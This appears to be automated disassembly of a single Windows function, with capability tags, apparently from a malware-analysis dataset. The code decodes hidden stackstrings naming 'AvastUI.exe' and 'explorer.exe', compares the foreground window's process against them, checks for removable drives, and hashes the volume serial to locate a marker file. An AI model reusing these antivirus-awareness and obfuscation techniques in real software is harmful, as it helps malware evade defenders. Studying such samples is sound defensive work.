Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get disk information
Get graphical window text
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8a4
mov eax, dword [0x416004]
xor eax, esp
mov dword [esp + 0x8a0], eax
push ebx
push esi
push edi
push 0x104
mov ebx, ecx
mov byte [esp + 0x18], 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, eax
test ecx, ecx
js 0x401058
mov esi, 0x5c
movzx eax, word [ebx + ecx*2]
xor edx, edx
mov word [ebx + ecx*2], dx
cmp si, ax
je 0x401058
sub ecx, 1
jns 0x401044
push 0x414bd8
push ebx
call fcn.00403cc6
add esp, 8
test eax, eax
je 0x401081
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x8a0]
xor ecx, esp
call fcn.00402fc9
mov esp, ebp
pop ebp
ret
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x401372
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 0x20]
push 0
push 2
mov dword [esp + 0x20], eax
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [esp + 0x28]
mov dword [esp + 0x10], eax
push ecx
push eax
mov dword [esp + 0x30], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ecx, ecx
mov dword [esp + 0x25c], 0x760041
mov dword [esp + 0x260], 0x730061
mov dword [esp + 0x264], 0x550074
mov dword [esp + 0x268], 0x2e0049
mov dword [esp + 0x26c], 0x780065
mov dword [esp + 0x270], 0x65
mov dword [esp + 0x274], 0x780065
mov dword [esp + 0x278], 0x6c0070
mov dword [esp + 0x27c], 0x72006f
mov dword [esp + 0x280], 0x720065
mov dword [esp + 0x284], 0x65002e
mov dword [esp + 0x288], 0x650078
mov word [esp + 0x28c], cx
test eax, eax
je 0x4011e6
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov eax, dword [esp + 0x18]
cmp dword [esp + 0x30], eax
jne 0x4011d3
push 0x208
lea eax, [esp + 0x49c]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x25c]
push eax
lea eax, [esp + 0x50]
push eax
call esi
test eax, eax
je 0x4011b6
lea eax, [esp + 0x274]
push eax
lea eax, [esp + 0x50]
push eax
call esi
test eax, eax
jne 0x4011d3
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, dword [esp + 0x1c]
cmp eax, 2
movzx ecx, cl
mov eax, 1
cmove ecx, eax
mov dword [esp + 0x1c], ecx
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401172
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x1c], 0
je 0x401372
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x414bd8
push ebx
call esi
push 0x208
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.00404130
push 0x208
lea eax, [esp + 0x2a0]
push 0
push eax
call fcn.00404130
add esp, 0x18
lea eax, [esp + 0x290]
push 0x104
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x28]
push eax
push 0x104
lea eax, [esp + 0x40]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x401372
push 0x4b2880
push ebx
call esi
mov edi, dword [esp + 0x18]
xor esi, esi
push 0x20
call fcn.00402fdf
push 0xa
push 0x20
push eax
push edi
mov dword [esp + 0x24], eax
call fcn.0040581d
mov edi, dword [esp + 0x24]
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x4012bf
mov edx, eax
mov ecx, 0xf8c9
movsx eax, byte [edi]
inc edi
imul esi, ecx
imul ecx, ecx, 0x5c6b7
add esi, eax
sub edx, 1
jne 0x4012a7
mov eax, dword [esp + 0x10]
sub edi, eax
push edi
call fcn.00402fda
push 0x40
call fcn.00402fdf
push 0xa
mov edi, eax
push 0x20
push edi
push esi
call fcn.00405852
add esp, 0x18
test edi, edi
je 0x401372
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
push ebx
call esi
push edi
call fcn.00402fda
push 0x208
mov byte [esp + 0x17], 0
call fcn.00402fdf
push 0x208
mov edi, eax
push 0
push edi
call fcn.00404130
add esp, 0x14
push ebx
push edi
call esi
lea eax, [esp + 0x498]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
movzx ebx, byte [esp + 0xf]
mov esi, eax
cmp esi, 0xffffffff
mov eax, 1
push edi
cmovne ebx, eax
call fcn.00402fda
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x14]
test bl, bl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x8a0]
xor ecx, esp
call fcn.00402fc9
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x8ac]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402fc9
mov esp, ebp
pop ebp
ret